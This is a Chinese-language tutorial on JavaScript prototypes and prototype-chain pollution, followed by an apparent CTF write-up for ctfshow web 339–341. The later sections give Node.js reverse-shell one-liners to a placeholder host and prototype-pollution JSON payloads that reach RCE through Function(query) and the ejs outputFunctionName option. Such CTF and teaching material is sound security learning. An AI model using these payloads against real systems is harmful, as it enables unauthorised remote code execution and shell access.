JS中的原型和原型链

原型

function Foo(name,age){
this.name = name;
this.age = age;
}

Foo函数的内容,就是Foo类的构造函数,this.namethis.age就是Foo类的一个属性。

一个类中必然有一个方法,类似属性,我们可以将方法定义在构造函数内部:

function Foo(name,age){
this.name = name;
this.age = age;
this.show = function(){
console.log(this.name);
}
}
(new Foo()).show();

但是这样写的话,我们每次构造一个Foo对象时都会执行依次this.show=function(),这个show方法实际上是绑定在对象上而不是绑定在类中。

我们希望创建类Foo只创建依次show方法,这时候我们就需要使用原型prototype

function Foo(name,age){
this.name = name;
this.age = age;
}

Foo.prototype.show = function(){
console.log(this.name);
}

var foo = new Foo();
foo.show();

我们认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上述代码中的foo对象,其天生就具有foo.show()方法。

我们可以通过Foo.prototype来访问Foo类的原型,但是Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就需要__proto__.

一个Foo类实例化出来的foo对象,可以通过foo.__proto__来访问Foo类原型,也就是说。

foo.__proto__ == Foo.prototype

原型链

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JS中的继承机制。

var util = require('util');

function Base(){
this.name = "base";
}

function Sub(){
this.name = "sub";
}

Base.prototype.baseFunc = function(){
console.log(this.name);
}

Object.prototype.objFunc = function(){
console.log("Hello object");
}

util.inherits(Sub,Base);

var objBase = new Base();
objBase.baseFunc();
objBase.objFunc();
console.log(objBase);

var objSub = new Sub();
objSub.baseFunc();
console.log(objSub);
console.log(objSub.__proto__.__proto__.__proto__);
$ node class.js 
base
Hello object
Base { name: 'base' }
sub
Sub { name: 'sub' }
{ objFunc: [Function] }

因为对象的__proto__属性指向构造函数的prototype属性,并且当访问对象不存在的属性时,会从它的构造函数的prototype去寻找

首先,objSub.__proto__ == Sub.prototype,如果我们尝试访问objSub.objFunc(),由于Sub类不存在该方法,于是从Sub.prototype寻找,Sub.prototype也没有该方法。由于util.inherits(Sub,Base)Sub继承了Base,于是从Base.prototype寻找,也没有。最后找到了Object.prototype有该方法。该过程就形成了一条JS原型链。

原型链污染

通过前面的初步了解,我们已经知道foo.__proto__ => Foo.prototype,那么,如果我们修改了foo.__proto__中的值,是不是就能修改Foo类呢

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

我们通过修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2

而我们后面又用Object类创建了一个zoo对象{},虽然创建时为空,但是因为对象有类Object中的所有属性和方法,所以自然有bar = 2这个属性了.

function Foo(){
}

var foo = new Foo();
console.log(foo.bar);
foo.__proto__.bar = 2;
console.log(foo.__proto__);
console.log(foo);
var zoo = new Foo();
console.log(zoo.bar);
$ node test.js 
undefined
Foo { bar: 2 }
Foo {}
2

可以Foo类中本来没有bar这个属性,而我们通过修改foo.__proto__Foo得原型来使Foo类多了一个bar属性,值为2

那么,在一个应用中,如果攻击者控制并修改了一个对象原型,那么可以影响所有和这个对象来自同一个类、父祖类,这个攻击方式就是原型链污染

原型链污染触发示例

常见与merge,clone,copy,数组赋值等通过数组键名来赋值的情况。

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

在合并的过程中,存在target[key] = source[key]进行键值赋值的情况,这里的key如果是__proto__,那么就可能存在原型链污染的情况,用如下代码测试

let o1 = {};
let o2 = {a:1,"__proto__":{b:2}};
merge(o1,o2);
console.log(o1.a,o1.b);

o3 = {};
console.log(o3.b);
$ node test.js 
1 2
undefined

nodejs命令执行

global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"')
global.process.mainModule.constructor._load('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"')

题目分析

web 339

// login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

api.js中发现危险函数。

表达式 Function(query)(query) 的作用是将字符串 query 解析为一个函数,并将其执行。换句话说,它将字符串 query 当作函数体来解析,并立即执行。这样的写法常用于动态执行字符串形式的 JavaScript 代码。

那么,我们考虑污染query,实现RCE。

payload:

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}

在登陆处抓包,修改后发送payload,然后访问/api路由触发payload实现RCE。

web 340

同上

web 341

ejs RCE

payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/111.11.111.111/11111 0>&1\"');var __tmp2"}}}